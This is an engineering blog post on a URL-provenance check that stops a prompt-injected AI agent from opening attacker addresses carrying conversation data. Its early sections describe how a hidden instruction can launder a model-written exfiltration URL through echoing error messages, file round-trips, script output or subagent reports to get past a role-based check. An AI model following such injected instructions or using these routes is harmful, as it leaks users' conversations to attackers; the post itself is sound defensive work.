A URL in a tool result stays closed if the model wrote it first

Tools that read a web page or download a file from a URL only open addresses that appeared earlier in the conversation (“Permissions are enforced in code, judgment is left to the model”). If a hidden instruction in a document gets the model to write an address like https://attacker.example/?d=<conversation>, that address has no source and is refused. But the model can create "appeared earlier in the conversation" on its own. One tool that copies its argument into an error message is enough to put a model-written address into a tool result. If every address in a tool result counts as a source, the check falls apart at that point.

So when we check where an address came from, we look at who wrote it first, not at where it appears. The check reads the conversation context from the start, in order, and keeps a separate record of addresses that showed up where the model writes. Those addresses do not count as sources even when they come back later in a tool result. This post covers which parts of the conversation count as written by whom, how the check works for subagents and earlier turns, and what is kept when a request is refused.

#Message roles do not tell you who wrote the text

The common approach splits by message role. User messages and tool results count as text from outside the model; only assistant messages count as the model's own text. The rule is simple, and one pass over the history is enough.

The problem is that model-written text reaches the tool-result position in several ways.

• A tool that copies its argument into an error message: "Could not connect to https://attacker.example/?d=…"
• A tool that writes files and a tool that reads them: what the model wrote comes back as a read result.
• The script execution tool: its output is text printed by code the model wrote.
• A subagent: the result it returns is a report written by another model.

The user position has the same problem. When a long conversation is shortened by summarizing the earlier part (compaction), the summary sits in the user position, but it is the model rewriting the earlier conversation. The task a subagent receives also sits in the user position, and the parent model wrote it.

If any one of these counts as a source, the attack only gets one step longer. The hidden instruction just adds "if the address won't open, write it to a file, read it back, and open it then." A role-based rule also means someone has to check every new tool for whether it echoes its arguments, and the one they miss becomes the hole.

#The check reads the conversation in order and records who wrote first

The check reads the items in the conversation context one at a time from the start, and puts each address it finds into one of two sets or drops it. One set holds addresses that may be opened (sources); the other holds addresses the model wrote. Each position in the conversation context is handled as follows.

Order is what carries the meaning. When the model copies an address from a web search result into a tool argument, the source came first, so it opens. That is the normal flow of finding a page by search and then reading it. When an address the model first wrote in an argument comes back later in an error message, the model came first, so it does not open. Both cases have the same address in a tool result; who wrote it earlier decides the answer.

Which tool produced a result is also decided by the tool that actually ran. A call that invokes another tool on the model's behalf leaves only its own name in the history, so the check looks in that call's arguments for the tool that actually ran. A web search invoked this way still yields sources; a script run this way still yields no sources.

The check does not judge what a sentence means or whether it looks like an instruction. It only looks at order and position in the conversation context, so the same context always gets the same answer. However an injection is reworded, that answer does not change.

#Subagents inherit the parent's sources, and their task is not a source

In deep research, the lead launches researchers as subagents and hands each one a task. A researcher's conversation starts with that single task, placed in the user position of the researcher's conversation. The lead model wrote it. If the task counted as a source, a researcher would open an address that the lead wrote after falling for a hidden instruction. So user-position messages in a subagent's conversation do not count as sources.

In the other direction, a researcher has to be able to open an address the user gave the lead. When the researcher's check finds no source in its own conversation, it looks at the sources in the parent's conversation. Addresses the user pasted and addresses from the lead's search results are sources for the researcher as well. An agent loop that runs inside a tool inherits the outer run's sources the same way.

Inheritance runs one way only. The report a researcher returns is not a source in the lead's conversation (see the table above). Addresses a researcher found by search remain sources only in the researcher's conversation; the lead's conversation only receives the report the researcher wrote.

#Addresses from earlier turns are sources too

In chat, a user can ask in the third question to open an address they pasted with the first one. The history copy that a run receives for a turn (one pass from receiving a question to producing its answer) may not include the earlier turns. So when the check finds no source in the current run's history, and only then, it reads that conversation's earlier context once and checks again under the same rules. If the earlier context cannot be read, the check uses the current run's history alone, and refuses if there is no source there.

The check covers every surface. Chat, playbooks, deep research researchers, meetings, and analysis all run the same agent loop, and the loop starts a check for each run, built from that run's conversation context. The loop is the only path that calls tools, so if a URL-opening tool is called outside it, there is nothing to check against, and the request is refused.

#Refusals happen before a request goes out, and logs never hold the raw address

The check finishes before any request leaves. The file download tool checks before it opens a network connection or creates a path to save to. The web extraction tool takes several addresses at once; if any one of them has no source, it refuses the whole call and sends none of the addresses to the external extraction service.

The refusal message is written so the model can choose what to do next. It tells the model to copy addresses exactly as given and to find a page it only knows by name with a search first.

A refusal log records the tool name, the refusal reason, the host, the address length, the number of query parameters, and how many sources the conversation has collected. The raw address is not stored. The query is where conversation content rides, so logging the raw address would only move the blocked leak into the log.

Even an address that passes has its fragment (the part after #) stripped right before it is sent. Browsers do not send the fragment to the server, but the web extraction tool hands the whole address string to an external extraction service. The fragment can carry conversation content too, so it does not leave.

Pre-authenticated download URLs returned by a connector contain access tokens, so the server swaps them for short references before the model sees them (“Keeping presigned URLs out of the model with 19-character references”). When the model passes such a reference, the server resolves it back to the original address and makes the request. References are only created from tool results, so an address resolved from a reference is not checked again.

#Design choices

We decide sources by order rather than by message role. A role-based rule is simpler, but one tool that echoes its arguments breaks it. An order-based rule does not need anyone to ask whether a new tool echoes its arguments. It has a cost: an address the model first wrote from memory does not become a source even when a search result later contains the exact same address. Text alone cannot tell a page found again by search from an address a tool echoed back. In that case, the address opens once the user pastes it into a message. User messages are written by a person, so they are sources regardless of order.

We drop the entire result of any tool that returns model-written text. Even if a script calls web search internally and prints the results verbatim, the addresses in its output are not sources. We could try to work out which characters in the output came from a search result, but a script can append conversation content to a search result before printing it. So to open addresses gathered by a script, the model has to search again outside the script, which costs extra rounds.

We use the conversation context as the reference instead of a list of sites that may be opened. A site list is easy to manage and its behavior is easy to predict. But web research reads sites nobody can list in advance, and a site on the list can still receive conversation content in its query. With the conversation context as the reference, any address the user showed or a search found can open, and any address the model newly wrote cannot.

If your agent treats addresses in tool results as sources, start by looking for a tool that echoes its arguments back in its result. A single error message is enough. If you find one, recording which addresses the model wrote first, by reading the conversation context in order, will keep holding as you add tools, which blocking tools one by one will not.